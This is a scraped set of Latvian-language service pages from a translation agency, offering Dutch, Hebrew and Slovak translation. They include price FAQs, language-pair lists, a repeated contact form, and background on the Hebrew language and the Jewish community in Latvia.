gan divpusējas sadarbības, gan starptautisku daudzpusējo projektu ietvaros. Sadarbība kultūrā norit šādās jomās: radošās industrijas, muzeji, mūzika, bibliotēkas, māksla, kino, teātris, kultūrizglītība. Nīderlandes vēstniecība Latvijā aktīvi darbojas, lai veicinātu abu valstu sadarbību dažādās jomās, kā arī atbild par savas valsts pilsoņiem, kas uzturas Latvijas teritorijā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM HOLANDIEŠU VALODĀ: dažādu dokumentu tulkošana holandiešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; holandiešu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi holandiešu valodā; individuālie holandiešu valodas kursi. HOLANDIEŠU VALODAS KOMBINĀCIJAS: holandiešu–latviešu; latviešu–holandiešu; holandiešu–lietuviešu; lietuviešu–holandiešu; igauņu–holandiešu; holandiešu–igauņu; angļu–holandiešu; holandiešu–angļu; krievu–holandiešu; holandiešu–krievu; poļu–holandiešu; holandiešu–poļu; ukraiņu–holandiešu; holandiešu–ukraiņu; čehu–holandiešu; holandiešu–čehu; vācu–holandiešu; holandiešu–vācu; spāņu–holandiešu; holandiešu–spāņu; franču–holandiešu; holandiešu–franču; itāļu–holandiešu; holandiešu–itāļu; dāņu–holandiešu; holandiešu–dāņu; zviedru–holandiešu; holandiešu–zviedru; norvēģu–holandiešu; holandiešu–norvēģu; somu–holandiešu; holandiešu–somu, Niederländisch Deutsch u. c. --- > Dažādu dokumentu tulkojumiun mutiskie tulkojumi ebreju valodā. Saņemiet bezmaksas cenas piedāvājumu tikai 15 minūtēs. - Published: 2022-04-29 - Modified: 2025-07-21 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-ebreju-valoda/ - Translation Priorities: Optional TULKOJUMI EBREJU VALODĀ / TULKOT EBREJU VALODĀ CIK MAKSĀ TULKOŠANA EBREJU VALODĀ? Mūsu tulkošanas biroja tulkošanas projektu vadītāji pirms katra tulkojuma projekta veikšanas rūpīgi izanalizē tulkojamo materiālu un katram pasūtījumam cena tiek noteikta individuāli. Pakalpojuma cenu veido vairākas komponentes – tulkojuma izpildes termiņi, teksta specifika, koriģēšana, formatēšana, kā arī klienta pasūtītie papildus pakalpojumi (notariāls apliecinājums u. c. ) VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, tulkojumu cenrādis no/uz ebreju valodu ir neatņemama sadarbības līguma daļa, un klients vienmēr tiek informēts par tulkojuma cenu pirms tulkošanas projekta realizācijas. Tulkojuma cenas tiek noteiktas ļoti individuāli, balstoties uz tulkojuma specifiku (rakstiskais vai mutiskais tulkojums), vārdu skaitu iesniegtajā tekstā, teksta atkārtošanos tulkojumā un citiem parametriem. Lai saņemtu tieši jums sagatavotu piedāvājumu, vienkārši nosūtiet mums materiālu, kuru vēlaties tulkot. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM EBREJU VALODĀ: dažādu dokumentu tulkošana ebreju valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; ebreju valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi ebreju valodā; individuālie ebreju valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus ebreju valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI EBREJU VALODĀ / TULKOT EBREJU VALODĀ CIK MAKSĀ TULKOŠANA EBREJU VALODĀ? Mūsu tulkošanas biroja tulkošanas projektu vadītāji pirms katra tulkojuma projekta veikšanas rūpīgi izanalizē tulkojamo materiālu un katram pasūtījumam cena tiek noteikta individuāli. Pakalpojuma cenu veido vairākas komponentes – tulkojuma izpildes termiņi, teksta specifika, koriģēšana, formatēšana, kā arī klienta pasūtītie papildus pakalpojumi (notariāls apliecinājums u. c. ) VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, tulkojumu cenrādis no/uz ebreju valodu ir neatņemama sadarbības līguma daļa, un klients vienmēr tiek informēts par tulkojuma cenu pirms tulkošanas projekta realizācijas. Tulkojuma cenas tiek noteiktas ļoti individuāli, balstoties uz tulkojuma specifiku (rakstiskais vai mutiskais tulkojums), vārdu skaitu iesniegtajā tekstā, teksta atkārtošanos tulkojumā un citiem parametriem. Lai saņemtu tieši jums sagatavotu piedāvājumu, vienkārši nosūtiet mums materiālu, kuru vēlaties tulkot. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM EBREJU VALODĀ: dažādu dokumentu tulkošana ebreju valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; ebreju valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi ebreju valodā; individuālie ebreju valodas kursi. Meklējiet valodu risinājumus ebreju valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR EBREJU VALODU Ivrits (Ivrit) ir semītu saimes mūsdienu ebreju valoda. Ivrita senā forma senebreju valodā ir jūdaisma liturģiskā valoda. Kā saziņas valoda tā izzuda ap 4. gadsimtu, bet sākot ar 1880. gadiem sefardi to atdzīvināja. Izraēlas iedzīvotāju skaits ir ap 8 milj. , no kuriem lielākā daļa ir ebreji (76,4%). Valstī dzīvo vēl citas etniskās grupas – arābi, palestīnieši un vairāku citu etniski-reliģisko grupu pārstāvji — samarieši, druzi, jazīdi u. c. Ivrits ir viena no divām Izraēlas valsts valodām. Lai gan tajā praktiski pārtrauca runāt mūsu ēras 200. gadā, ebreji to turpināja lietot kā „svēto valodu” liturģijās, filozofiskajos rakstos un literatūrā. 19. gadsimta beigās ivrits kļuva par modernu kultūras izteiksmes veidu un kļuva par nozīmīgu faktoru nacionālās atdzimšanas kustībai. Britu impērijas laikā ivritu, līdz ar angļu un arābu valodām, atzina par oficiālu valodu. To sāka lietot ebreju organizācijas un izglītības iestādes. Prese un literatūra ivritā piedzīvoja savu uzplaukumu, rodoties jaunai autoru un lasītāju paaudzei. Šodien ivrits ir bagāta, daudzkrāsaina un dzīva valoda. No 8000 vārdu, ko lietoja bibliskajos laikos, ivrita vārdu krājums ir paplašinājies uz vairāk nekā 120 000 vārdiem. Valodas formālā lingvistiskā attīstības ir 1953. gadā dibinātās Ivrita akadēmijas kompetencē. Eliezers Ben-Jehuda (Eliezer Ben-Yehuda) (1858. −1922. ) vadīja ivrita, kā sarunu valodas, atdzimšanu. Pēc pārcelšanās uz Izraēlas zemi 1881. gadā, viņš rosināja ivrita lietošanu gan mājas sadzīvē, gan skolā. Viņš radīja tūkstošiem jaunu vārdu, izveidoja divus periodiskos izdevumus ivritā, kā arī iesaistījās Ivrita valodas komisijas (1890) izveidē. Tāpat viņš strādāja pie 17 sējumu „Senebreju un mūsdienu ivrita lielās vārdnīcas”, sastādot vairākus tās sējumus. Darbs pie vārdnīcas tika uzsākts 1910. gadā, un to pabeidza Eliezera Ben-Jehudas otrā sieva un viņa dēls 1959. gadā. Pirmā proza mūsdienu ivritā radās, pateicoties ieceļojušajiem autoriem. Lai arī viņu saknes bija meklējamas visā plašajā pasaulē un daudzas tradīcijas bija cēlušās no Austrumeiropas ebreju mantojuma, viņu darbos galvenokārt bija aprakstīti radošie sasniegumi Izraēla zemē, kur viņi bija ieradušies ar cionistu moto vadīti: „celt un caur to tikt celtiem”. EBREJU VALODAS ALFABĒTS Ebreju alfabēts ir rakstības sistēma, kuru izmanto ivrita un citu ebreju valodu pierakstīšanai. Vēsturiski ebreju rakstīšanai tika izmantoti divi atsevišķi „abjad” raksti. Sākotnējais, vecais ebreju raksts, kas pazīstams kā paleo-ebreju alfabēts, lielā mērā ir saglabāts samariešu alfabēta variantā. Pašreizējais „ebreju raksts" vai „kvadrātraksts”, gluži pretēji, ir stilizēts aramiešu alfabēta veids, un ebreju gudrie to tehniski sauca par Ktav Ashuri (lit. „asīriešu raksts”), jo tika uzskatīts, ka tā izcelsme ir no Asīrijas. Feniķiešu alfabēta ebreju variants, ko zinātnieki sauca par paleo-ebreju alfabētu, sāka parādīties ap 800. gadu p. m. ē. Agrākie vēsturiski datētie aramiešu uzrakstu piemēri šajā reģionā ir 10. gadsimta Gezera kalendārs un Siolamas uzraksts (ap 700. g. p. m. ē. ), kas atrodams Silaomas tunelī. 3. gadsimtā p. m. ē. ebreji sāka lietot stilizētu, „kvadrātveida” aramiešu alfabēta formu, ko izmantoja Pirmā Persijas impērija, kamēr samarieši turpināja lietot paleo − ebreju rakstības formu, ko sauca par samariešu alfabētu. Pēc Persijas impērijas sabrukuma 330. gadā p. m. ē. ebreji izmantoja abus rakstības variantus, bet tad pārgāja uz kvadrātveida asīriešu rakstības formu. Kvadrātveida ebreju alfabēts vēlāk tika pielāgots un izmantots ebreju diasporas valodu rakstīšanai, piemēram, karaīmu, jūdu-arābu valodām, jūdu-spāņu un jidiša valodām. Ebreju alfabētu atkal sāka izmantot rakstīšanai ebreju valodā skolās un ikdienā, kad 18. un 19. gadsimtā ebreju valoda atdzima kā valoda, it īpaši Izraēlā. Ebreju alfabēts sastāv no 22 burtiem. Rakstība notiek no labās uz kreiso pusi. Izņēmums ir numuri, tos raksta no kreisās uz labo pusi. Interesants ir fakts, ka ebreju valodā nav lielo burtu, ne teikuma sākumā, ne arī personas vārdu un nosaukumu sākumā. Šis ir viens no retajiem alfabētiem pasaulē, kurā praktiski nav patskaņu. Patskaņi tiek apzīmēti ar īpašām rakstu zīmēm, respektīvi, tiek izmantota diakritisko zīmju sistēma, kā punkti un defises, kuras sauc par „NEKUDOT”. Drukātos burtus valodas pierakstam neizmanto, bet ir jāzina, kā tie ir lasāmi. Teksts nav saistīts, burti nav savienojami viens ar otru. Retu reizi, rakstot ātri, ir pieļaujama burtu saskaršanās. Burtu izmēri ir vienādi, manuāla rokraksta formas ir pusapaļas vai ovālas. Katrs burts var attēlot arī noteiktu skaitli – „ALEF” = 1, „BET” = 2 utt. Ebreju alfabēta burti gadsimtu gaitā ir spēlējuši dažādas lomas ebreju reliģiskajā literatūrā, galvenokārt mistiskajos tekstos. Daudzi klasiskās rabīnu literatūras avoti atzīst pašlaik lietotā ebreju alfabēta vēsturisko izcelsmi. Mistiskos priekšstatos alfabēts tiek uzskatīts par mūžīgu, pirms Zemes pastāvošu, un pašiem burtiem ir svētums un spēks, dažreiz tiktāl, ka vairāki Talmuda (ebreju un ebreju reliģijas primāro likumu grāmata) stāsti ilustrē domu, ka tos nevar iznīcināt. CIK SAREŽĢĪTA IR EBREJU VALODA? Saskaņā ar Ārlietu dienesta institūta datiem tiek uzskatīts, ka ebreju valodai ir vajadzīgas 11 000 mācību stundas jeb 44 nedēļas četru vai piecu līmeņu apguvei. Saskaņā ar ACTFL četrām valodu kategorijām ebreju valoda ir trešā grūtākā valoda angliski runājošajiem (sarežģītāka nekā spāņu un vācu valoda, tikpat sarežģīta kā krievu un turku valoda, un mazāk grūtāka nekā tādas valodas kā arābu un ķīniešu valoda). Tāpēc ebreju valodas apguve ir aizraujošs intelektuāls izaicinājums pieaugušajiem bērniem, kas veicina pozitīvu jebkura vecuma studenta domāšanas attīstību. Ņemot vērā faktu, ka ebreju valoda ir viena no senākajām valodām pasaulē, tai ir savs neatkārtojams alfabēts, valodas apguve ir ļoti sarežģīta. Ebreju alfabētam ir daudzus gadsimtus sena vēsture, tas ir unikāls un tam nav analoga nevienā citā valodā, tādēļ jau sākotnēji būs nepieciešams apgūt pilnīgi jaunu alfabētu un citām valodām neraksturīgas rakstu zīmes. Protams, ka visefektīvākā ebreju valodas apguve ir iespējama tikai atrodoties vidē, kur šo valodu lieto ikdienā. Ebreju valodai ir divas formas – mūsdienu ebreju sarunvaloda un liturģiskā valoda. Caur šīm valodas formām ir iespēja iepazīt gan vēsturi, reliģiju, tradīcijas un kultūru. Ebreju valodas pierakstam tekstu raksta no labās uz kreiso pusi, ir daudzas skaņas, kas ir grūti izrunājamas un jaunas citu valodu pratējiem. Ebreju valodai ir līdzība ar citām semītu valodām, tādēļ arābu valodas pratējiem būs vieglāk apgūt šo valodu. Mūsdienu Izraēlas ebreju valoda vai Bībeles ebreju valoda? Bībeles ebreju valoda ir statiska valoda, un tai ir mazāks vārdu krājums, tāpēc tā ir vienkāršāka. Tā arī ir tikai rakstu valoda. Pamatā to ir jāiemācās tikai lasīt. Ja valodas apguves izvēle ir lasīt Svētos Rakstus oriģinālvalodā ar izpratni, to var iemācīties apmēram 18 mēnešos ļoti intensīvās studijās vai divus gadus mazāk intensīvās studijās. Mūsdienu Izraēlas ebreju valoda ir grūtāka. Vislabāk ir doties uz Izraēlu. Ļoti motivēti cilvēki bieži apgūst valodu sešu mēnešu laikā, bet viņi neprot labi rakstīt ebreju valodā. Pēc gada Izraēlā cilvēki var viegli izmantot sarunvalodu, var rakstīt par vienkāršām tēmām un lasīt avīzes ar aptuveni 80% izpratni. KUR UN CIK DAUDZ RUNĀ EBREJU VALODĀ? Trešajā mūsu ēras gadsimtā ebreju valoda tika uzskatīta par mirušu valodu. Vairāk nekā tūkstoš gadus vēlāk, valoda tika atdzīvināta, padarot to par vienīgo veiksmīgi atdzīvināto valodu pasaulē. Mūsdienās ivritā runā aptuveni septiņi miljoni Izraēlas iedzīvotāju un vēl divi miljoni ebreju pārējā pasaulē. Ebreju valoda ir viena no Izraēlas Valsts oficiālajām valodām, otrā ir arābu valoda. Ebreju valodā runā Izraēlā un daudzās ebreju kopienās visā pasaulē, kur ir lielas ebreju kopienas, piemēram, ASV (kur ir vairāk nekā pieci miljoni ebreju), Francijā (aptuveni 490 000 ebreju) un Kanādā (aptuveni 375 000 ebreju). Tajā runā arī ebreju diasporās Beļģijā, Zviedrijā, Francijā, Vācijā, Lielbritānijā un citās Eiropas valstīs. EBREJU VALODAS TULKS UN TULKOTĀJS Tulkošanas birojs Skrivanek piedāvā profesionālu tekstu rakstisko un mutisko tulkošanu ebreju valodā un tulkojumus no ebreju valodas latviešu valodā. Tulku komanda jums palīdzēs gan ar regulāriem, gan notariāli apstiprinātiem tulkojumiem. Jebkurai klienta vēlmei mēs noteikti atradīsim nepieciešamo risinājumu un labāko ebreju valodas speciālistu. Lielākoties nodrošinām tieši tulkojumus fiziskām personām no/uz ebreju valodu. Fiziskām personām veicam personu apliecinošu dokumentu tulkojumus, laulību apliecību, izglītības dokumentu, medicīnas dokumentu u. c. dokumentu rakstveida tulkojumus, kā arī veicam mutiskos tulkojumus no/uz ebreju valodu, piemēram, tiesās. EBREJU VALODA BIZNESĀ Ebreju valoda kļūst arvien aktuālāka starptautiskā biznesa pasaulē, un ebreju valodas apguvei ir pragmatiskas priekšrocības, jo Izraēlas ietekme pasaules tirgos turpina paplašināties. Izraēlai ir trešais lielākais NASDAQ biržā kotēto uzņēmumu skaits. Izraēla ir visvairāk atzīta visā pasaulē nākotnes tehnoloģiju nozarē. Izraēla ir „milzis” inovāciju jomā: pasaules līderis pētniecības un attīstības izdevumu un riska kapitāla ieguldījumu jomā, kā arī mājvieta globāliem pētniecības un attīstības centriem, piemēram, Google, Apple un IBM. Ņemot vērā Izraēlas pieaugošo ietekmi un nozīmi, ebreju valodas un mūsdienu laicīgās Izraēlas kultūras pārvaldīšana ir ļoti svarīga studentu un biznesa sakaru nākotnei. Ebreju valoda ir arī vēlama valoda tiem, kuru profesijas izvēle ir valdība, politoloģija un tādas jomas kā diplomātija, izlūkošana un militārā joma. Ņemot vērā arī lielo ebreju kopienu ASV, noteikti ir vērts apgūt ebreju valodu, ja vēlas attīstīt vai uzsākt biznesa attiecības ar uzņēmumiem Izraēlā, kā arī ASV, ja izvēle krīt uz ebreju tautības biznesa partneriem. Pieminams būtu arī fakts, ka izsenis ebreji ir slaveni ar savām biznesa veidošanas prasmēm, tirgus mākslu, tādēļ vien būtu labi zināt kaut pieklājības frāzes ebreju valodā, lai radītu uzticību biznesa partnerim no Izraēlas. EBREJI LATVIJĀ Pirmās ebreju apmetnes tagadējās Latvijas teritorijā radās jau 16. gadsimta beigās ar Kurzemes hercogu atļauju, jo viņiem bija nepieciešami cilvēki, kas spēj pārvaldīt finanšu jautājumus. 9. gadsimta vidū Kurzemē dzīvoja jau 23 000 ebreju, kuri uz Latviju bija pārcēlušies no Vācijas. Latvijas austrumu reģionus ebreji sāka apdzīvot 17. gadsimtā, savukārt Rīgā ebreju kopienas veidošanās pirmsākumi datējami ar 18. gadsimta otro pusi. Ebreju dzīve Latvijā no paša sākuma bija saistīta ar dažādiem ierobežojumiem, kuru dēļ laika gaitā un, uzliesmojot antisemītisma noskaņojumam, daudzi pameta Latviju un devās uz citām valstīm. Pēc Pirmā pasaules kara ebreji kļuva politiski aktīvāki un daži no viņiem tika ievēlēti arī Saeimā un pilsētu pašvaldībās. Tomēr līdz ar Kārļa Ulmaņa nākšanu pie varas ebrejiem atkal nācās saskarties ar virkni ierobežojumu, kuru dēļ bija vērojams nākamais emigrācijas vilnis. Pēc Otrā pasaules kara Latvijā bija palikuši vien 14 000 ebreju kopienas pārstāvji, kuriem drīz vien pievienojās ebreji no citiem Padomju Savienības reģioniem. Latvijai atgūstot neatkarību, otro elpu ieguva arī ebreju kopienas sabiedriskā dzīve. Ebreju kopienas atsāka darbību vairākās Latvijas pilsētās. 1988. gadā Rīgā tika izveidota Latvijas ebreju kultūras biedrība, kas tagad pazīstama kā Rīgas ebreju kopiena, savukārt 2003. gadā tika dibināta Latvijas ebreju draudžu un kopienu padome. Šodien Latvijas ebreju kopienā ir vairāk nekā 10 000 cilvēku un tā ir otra lielākā ebreju kopiena Baltijas jūras reģionā. Diplomātiskās attiecības starp Latviju un Izraēlu tika nodibinātas 1992. gada 6. janvārī. 1992. gada oktobrī Izraēla atvēra savu vēstniecību Latvijā. Kopš 1995. gada 21. februāra Izraēlā strādā Latvijas vēstniecība. Izglītības un zinātnes jomā notiek regulāra sadarbība starp Latvijas un Izraēlas augstskolām, tai skaitā studentu un pasniedzēju apmaiņa, dalība pētniecības programmās, stipendijas studijām un pētniecības darbam. Latvijas Universitātes Jūdaikas studiju centrs (izveidots 1998. gadā) nodrošina studentiem, pētniekiem un citiem interesentiem iespēju iegūt akadēmiskas zināšanas par ebreju vēsturi, filozofiju, valodu, kultūru un reliģisko domu, piedāvājot lekcijas, gatavojot publikācijas un organizējot pētnieciskas aktivitātes. Kopš 2006. gada Latvijas Universitātes Āzijas studiju nodaļa piedāvā studiju programmu, kurā iespējams apgūt Jūdaikas nozari, senebreju valodu, moderno ebreju valodu un kultūru. Notiek sadarbība starp Latvijas un Izraēlas Zinātņu akadēmiju, tai skaitā informācijas apmaiņa, darbs pie kopējām publikācijām. Rīgā 1989. gada 1. septembrī tika atklāta pirmā Šimona Dubnova vārdā nosauktā Rīgas Ebreju vidusskola, kas bija pirmā no nacionālo minoritāšu skolām Latvijā. Tādējādi šī skola kļuva par īstu leģendu – pirmo vispārējo ebreju skolu bijušās PSRS teritorijā. Ebreju izglītībai Latvijā ir dziļas vēsturiskas saknes: līdz 1940. gadam ebreju bērni varēja mācīties latviešu, ebreju, jidiša un vācu valodā. EBREJU VALODAS DIENA Izraēla katru gadu atzīmē ebreju valodas dienu mūsdienu ebreju valodas tēva Eliezera Ben Jehudas dzimšanas dienā. Katru gadu šis datums mainās, jo tiek rēķināts pēc ebreju senā kalendāra. Ebreju valodas atdzimšanai ir neparasts stāsts, kam vēsturē nav līdzīgu. Valoda, kuras saknes ir vairāk nekā 3000 gadu senas tika atdzīvināta pēc gadsimtiem, kuru laikā tā faktiski netika lietota. Pavisam nesen, pirms simt piecdesmit gadiem, ebreju valoda nebija aktīvi runāta valoda. Mūsdienās vairāk nekā 9 miljoni cilvēku runā ebreju valodā, un lielākajai daļai no viņiem tā ir dzimtā valoda. Gadsimtiem ilgi ebreju valoda dzīvoja tikai liturģijā un reliģiskajās ceremonijās visā ebreju diasporā. Katra paaudze tika mudināta apgūt ebreju valodu, lai pārzinātu jūdaisma pamattekstus un dzīves cikla tradīcijas un rituālus. Taču šajos gados valoda pārstāja būt parastas, laicīgās personīgās vai nacionālās dzīves dzīva, elpojoša daļa. Eliezers Ben Jehuda bija senās valodas atdzimšanas un tās pārtapšanas mūsdienu formā pamatlicējs. Šis tālredzīgais valodnieks, kurš dzimis Lietuvā 1858. gadā, ieradās Izraēlā 1881. gadā ar sapni pārveidot ebreju valodu par modernu valodu un padarīt to par valodu, kurā runā katrā Izraēlas mājā. Viņš apmetās uz dzīvi Jeruzalemē un veltīja dzīvi sava sapņa īstenošanai. Ben Jehuda ieviesa vairāk nekā 300 jaunu ebreju vārdu. Kopš tā laika ebreju vārdu krājumam ir pievienoti vairāk nekā 15 000 jaunu vārdu. Ebreju valoda ir bagātīga, pārliecinoša izraēliešu vitalitātes izpausme un tajā pašā laikā dziļā saiknē starp Bībeli un ebreju tautu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM EBREJU VALODĀ: dažādu dokumentu tulkošana ebreju valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; ebreju valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi ebreju valodā; individuālie ebreju valodas kursi. EBREJU VALODAS KOMBINĀCIJAS: ebreju–latviešu; latviešu–ebreju; ebreju–lietuviešu; lietuviešu–ebreju; igauņu–ebreju; ebreju–igauņu; angļu–ebreju; ebreju–angļu; krievu–ebreju; ebreju–krievu; poļu–ebreju; ebreju–poļu; ukraiņu–ebreju; ebreju–ukraiņu; čehu–ebreju; ebreju–čehu; vācu–ebreju; ebreju–vācu; spāņu–ebreju; ebreju–spāņu; franču–ebreju; ebreju–franču; itāļu–ebreju; ebreju–itāļu; dāņu–ebreju; ebreju–dāņu; zviedru–ebreju; ebreju–zviedru; norvēģu–ebreju; ebreju–norvēģu; somu–ebreju; ebreju–somu, ebreju–arābu; arābu–ebreju; ebreju–armēņu, armēņu–ebreju; ebreju–baltkrievu, baltkrievu–ebreju; bulgāru–ebreju, ebreju–bulgāru; ukraiņu–ebreju, ukraiņu–ebreju, ebreju–grieķu, grieķu–ebreju; ebreju–gruzīnu; gruzīnu–ebreju; ebreju–hindi; hindi–ebreju; ebreju–holandiešu; holandiešu–ebreju; ebreju–korejiešu; korejiešu–ebreju; ebreju–kurdu; kurdu–ebreju; ebreju–ķīniešu; ķīniešu–ebreju; ebreju–portugāļu; portugāļu–ebreju; ebreju–rumāņu; rumāņu–ebreju; ebreju–slovāku; slovāku–ebreju; ebreju–slovēņu; slovēņu–ebreju; ebreju–turku; turku–ebreju; ebreju–ungāru; ungāru–ebreju u. c. --- > Dažādu dokumentu un pasākumu tulkojumi slovāku valodā. Saņemiet bezmaksas cenas aprēķinu tikai 15 minūtēs! - Published: 2022-04-20 - Modified: 2024-07-17 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-slovaku-valoda/ - Translation Priorities: Optional TULKOJUMI SLOVĀKU VALODĀ / TULKOT SLOVĀKU VALODĀ CIK MAKSĀ TULKOJUMI SLOVĀKU VALODĀ? Lai noteiktu tulkojuma cenu no/uz slovāku valodu, tiek ņemtas vērā vairākas komponentes ─ tulkojamā materiāla apjoms, izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi (notāra apliecinājums u. c. pakalpojumi. ) VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Lai jūs saņemtu cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu e-pastā. Rakstisko un mutisko tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz slovāku valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Mūsu biroja projektu vadītāji pirms tulkošanas projekta sākšanas sniegs detalizētu informāciju par tulkojuma cenu. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek Baltic spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un vairākiem citiem parametriem. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UZ UN NO SLOVĀKU VALODAS: dokumentu tulkojumi slovāku valodā; steidzami tulkojumi; mutiskie tulkojumi slovāku valodā; notariāli apliecināts tulkojums; lokalizācija; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; individuālie slovāku valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus slovāku valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI SLOVĀKU VALODĀ / TULKOT SLOVĀKU VALODĀ CIK MAKSĀ TULKOJUMI SLOVĀKU VALODĀ? Lai noteiktu tulkojuma cenu no/uz slovāku valodu, tiek ņemtas vērā vairākas komponentes ─ tulkojamā materiāla apjoms, izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi (notāra apliecinājums u. c. pakalpojumi. ) VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Lai jūs saņemtu cenas piedāvājumu, gaidīsim jūsu tulkojamo materiālu e-pastā. Rakstisko un mutisko tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz slovāku valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Mūsu biroja projektu vadītāji pirms tulkošanas projekta sākšanas sniegs detalizētu informāciju par tulkojuma cenu. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek Baltic spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un vairākiem citiem parametriem. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UZ UN NO SLOVĀKU VALODAS: dokumentu tulkojumi slovāku valodā; steidzami tulkojumi; mutiskie tulkojumi slovāku valodā; notariāli apliecināts tulkojums; lokalizācija; tekstu 